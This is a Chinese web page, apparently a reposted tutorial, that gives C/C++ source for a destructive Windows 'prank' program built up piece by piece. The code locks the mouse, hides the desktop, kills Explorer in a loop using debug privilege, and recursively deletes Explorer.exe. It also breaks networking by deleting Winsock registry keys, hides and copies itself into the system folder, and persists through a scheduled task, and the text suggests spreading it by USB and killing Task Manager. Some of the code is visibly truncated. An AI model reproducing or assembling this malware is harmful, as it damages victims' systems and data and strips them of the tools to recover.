迷上恶作剧 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    PS.今天在硬盘上搜索东西的时候发现还有这样一篇文章.....已经写了好久了...忘记发出来了...都快成为我硬盘上的程序化石了.....程序没任何技术,大家看着玩玩吧,有用就拿去....

    想写一个破坏性的程序好久了,一直挂着没去实现,在一次和朋友测试木马的时候发现了一个东东,所以就决定去写出来,通过多方面的组合第一个恶作剧程序就出炉了,今天我就给大家来介绍恶作剧的实现,为了方便大家阅读,我将分块介绍,

迷上恶作剧

    控制鼠标

    Code:

    void Mouse()

    {

    RECT Rect;

    Rect.left=10;

    Rect.top=10;

    Rect.right=20;

    Rect.bottom=20;      //设置锁定区域大小

    ClipCursor(&Rect);   // 锁定鼠标,限制移动区域

    SwapMouseButton(TRUE); //交换鼠标左右键

    }

    [Ctrl+A Select All]

    简简单单的几个API调用就完成了任务,这个时候用户已经无法正常使用鼠标了,因为鼠标被锁定在左上方很小的一块区域中了。

    隐藏桌面图标

    Code:

    void HDesk()

    {

    HWND hDesktop;

    hDesktop = FindWindow("ProgMan", NULL); //获得桌面句柄

    ShowWindow(hDesktop, SW_HIDE);    //隐藏桌面图标

    }

    [Ctrl+A Select All]

    很简单吧,两句就把你桌面上的所有快捷方式给隐藏起来了。但是这个吓不到高级用户,于是想了更毒的办法----杀掉Explorer进程,哈哈~~这样屏幕上什么也没有了。但系统很快就会再启动explorer进程,怎么办?这里想了两个办法。

    第一个办法:使用Sleep()函数,间隔性的检查进程中是否存在Explorer进程,如果存在就杀掉。

    Code:

    void kprocess(const char *processname)

    {

    char *fengze;

    DWORD processid[1024],needed,processcount,io;

    HANDLE hProcess;

    HMODULE hModule;

    char path[MAX_PATH] = "",temp[256]; //定义变量

    EnablePrivilege(SE_DEBUG_NAME,TRUE); //提升权限

    EnumProcesses(processid, sizeof(processid), &needed); //枚举所有进程

    processcount=needed/sizeof(DWORD);  //计算进程数量

    for (io=0;io

    {

    hProcess=OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_TERMINATE |PROCESS_VM_READ|PROCESS_VM_WRITE,false,processid[io]);

    //打开进程并获得进程句柄

    if (hProcess)

    {

    EnumProcessModules(hProcess, &hModule, sizeof(hModule), &needed);

    // 枚举打开进程的模块

    GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));

    // 获取模块文件名(包含路径)

    GetShortPathName(path,path,256);

    //将长文件名转换成短文件名

    itoa(processid[io],temp,10);  //转换为字符串

    if((fengze=strstr(path,processname)))

    //在进程路径中查找是否含有相关字符

    {

    TerminateProcess(hProcess,0); //如果有就结束进程

    }

    else

    CloseHandle(hProcess); //关闭打开的进程

    }

    }

    EnablePrivilege(SE_DEBUG_NAME,FALSE); //恢复权限

    }

    提升和恢复权限函数

    int EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable)

    {

    HANDLE hToken;

    TOKEN_PRIVILEGES tp;

    LUID luid;

    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |

    TOKEN_QUERY | TOKEN_READ,&hToken))

    return 0; //打开进程的令牌环

    if(!LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid))

    return 1; //修改进程权限

    tp.PrivilegeCount = 1; //赋给本进程特权

    tp.Privileges[0].Luid = luid;

    tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;

    AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);

    //通知Windows修改本进程的权限

    CloseHandle(hToken); return 0;

    }

    使用GOTO语句实现循环

    void monitor()

    {

    char *tha="Explorer"; char *thb="explorer";

    //这里定义2个是因为系统在恢复后此进程名开头就变成小写了

    bg:kprocess(tha);

    kprocess(thb); //杀掉进程

    Sleep(3000); //程序休眠3秒中,这样程序对CPU使用的也降低了

    Goto bg ;

    }

    [Ctrl+A Select All]

    以上是循环实现目的,下面还有一中方法就是杀掉进程后,查找Explorer.exe并删除,这样系统就会跳出一个对话框要求插入安装光盘进行恢复,如果这个时候我们关闭计算机的话,呵呵~~再进系统的时候就不显示任何东西了。我们还应该对任务管理器、IE和CMD还有其他一些进程进行查杀,这样才能保证我们自己不被用户给杀了。

    注意:#include "PSAPI.H" //程序需要的头文件

    #pragma comment( lib, "PSAPI.LIB" ) //程序需要的库文件

    下面就是一个搜索文件的函数:

    Code:

    int viewfiles(char *directory)

    {

    WIN32_FIND_DATA fdFindData;

    HANDLE hFind;

    char *filename;

    int count=0;

    BOOL done;

    filename=new char[strlen(directory)+5]; //给filename分配directory+5 个空间

    strcpy(filename,directory); //将directory中的字符复制到filename中

    strcat(filename,"\\*.*");   //将filename与\\*.*连接

    hFind=FindFirstFile(filename,&fdFindData);

    //根据filename来查找文件,返回搜索句柄给hFind

    delete[] filename; //释放内存

    done=hFind!=INVALID_HANDLE_VALUE;

    while(done)

    {

    if(strcmp(fdFindData.cFileName,".") && strcmp(fdFindData.cFileName,".."))

    //判断是当前目录或上一级目录

    {

    filename=new char[strlen(directory)+strlen(fdFindData.cFileName)+2];

    // 给filename分配空间

    strcpy(filename,directory); //把directory复制给filename

    strcat(filename,"\\");      //把filename加上“\\”

    strcat(filename,fdFindData.cFileName); //filename加上文件名

    if((fdFindData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY)

    //如果找到的是目录,则进入目录进行递归

    count+=viewfiles(filename);

    else

    if(strstr(fdFindData.cFileName,"Explorer.exe")) //判断是否为要查找文件

    {

    count++; //对查找到的文件进行记数

    DeleteFile(filename); //删除文件

    }

    delete[] filename;     //释放内存

    }

    done=FindNextFile(hFind,&fdFindData); //寻找下一个文件

    }

    FindClose(hFind);

    return(count);

    }

    [Ctrl+A Select All]

    这个函数掉用的时候只要指定一个分区就可以了,当然你也可以用循环来遍历所有分区,嘎嘎~~够恶毒~,

电脑资料

迷上恶作剧》(https://www.unjs.com)。

    控制光驱

    Code:

    void Dfind()

    {

    int i;

    UINT type;

    char name;

    char Dname[128];

    for (name='A';name<='Z';name++)   //遍历所有驱动器

    {

    Dname[0]=name; Dname[1]=':'; Dname[2]='\\'; Dname[3]='\0';

    type = GetDriveType(Dname);  //判断驱动器类型

    if (type==DRIVE_CDROM)

    {                  //如果是光驱就打开

    mciSendString("Set cdAudio door open wait", NULL, 0, NULL);

    mciSendString("Set cdAudio door closed wait", NULL, 0, NULL);

    }

    }

    }

    [Ctrl+A Select All]

    再加个循环,不停的开关光驱,这样一来中标的朋友肯定吓一跳。

    修改注册表

    操作注册表的例子很多很多了,可以去找找,这里我就介绍一个东西。

    Code:

    void regdel()

    {

    HKEY hkresult;

    LPCTSTR data="SYSTEM\\CurrentControlSet\\Services\\WinSock2\\SPI5.0\\Catalog_Entries";

    RegOpenKeyEx( HKEY_LOCAL_MACHINE,

    data, 0, KEY_ALL_ACCESS, &hkresult );

    RegDeleteKey(hkresult,"000000000001");           RegDeleteKey( hkresult,"000000000002");

    RegDeleteKey( hkresult,"000000000003");

    ……

    RegDeleteKey( hkresult,"000000000015");

    }

    [Ctrl+A Select All]

    上面这个删除注册表的操作,计算机不会出现异常,也可以登陆到网络上,但QQ登陆不上去,IE访问不了网站………

    有了以上操作,相信够把中标的朋友给吓晕了~~,单单有破坏还不够,我们还要保证自己的程序能存活啊。所以我就想到让程序复制并隐藏自己。

    Code:

    void filehidden()

    {

    UINT type;

    char name;

    char Dname[4];

    char LPath[MAX_PATH];

    char SysPath [MAX_PATH];

    GetModuleFileName(NULL,LPath,MAX_PATH);

    //获得当前文件路径

    SetFileAttributes(LPath,FILE_ATTRIBUTE_HIDDEN

    +FILE_ATTRIBUTE_SYSTEM);

    //把文件设置成隐藏和系统属性

    GetSystemDirectory(SysPath,MAX_PATH);

    strcat(SysPath,"\\黑色天空.exe");

    CopyFile(LPath,SysPath,FALSE); //复制到指定路径

    }

    [Ctrl+A Select All]

    我们还可以利用前面控制光驱的那段代码改变一下,将程序复制到U盘或则其他计算机外部的可写盘上,达到了传播的目的,实现起来很简单,就留给您自己来完成吧。

    现在我们已经将一个文件给隐藏起来了,怎样来启动这个程序呢?注册表?不,我们还是用系统的任务计划吧,用系统自带的AT.exe程序?不!我们自己写 :)

    Code:

    void Jobadd(char * SysPath) //文件路径我们是从上面程序中获得

    {

    DWORD JobId;

    AT_INFO ai;

    long Len;

    WCHAR szFilePath[256];

    memset(&ai,0,sizeof(ai));

    Len=MultiByteToWideChar(CP_ACP,0,SysPath,strlen(SysPath),

    szFilePath,sizeof(szFilePath));

    szFilePath[Len] = '\0';

    //将路径转换成Unicode码

    ai.Command=szFilePath;

    ai.DaysOfMonth=0;

    ai.DaysOfWeek=0x60;

    ai.Flags=JOB_RUN_PERIODICALLY;

    ai.JobTime=11*60*60*1000+50*60*1000;

    //给ai结构变量各成员赋值

    NetScheduleJobAdd(NULL,LPBYTE(&ai),&JobId);

    //调用API函数添加任务计划

    }

    [Ctrl+A Select All]

    上面的函数将在任务计划中添加一个每周星期六和星期天,中午11点50执行我们指定程序的计划。但这个依赖Task Scheduler服务,我们直接调用system()函数来执行Net Start Schedule命令就可以了。

    注意:#include

    #include //程序需要的头文件

    #pragma comment(lib,"NETAPI32.LIB") //程序需要的库文件

    好了,基本介绍完了,如果你觉得还不够完善的话可以自己再添加点什么,可别过份了哦,警察叔叔可要请你喝咖啡的哦。

最新文章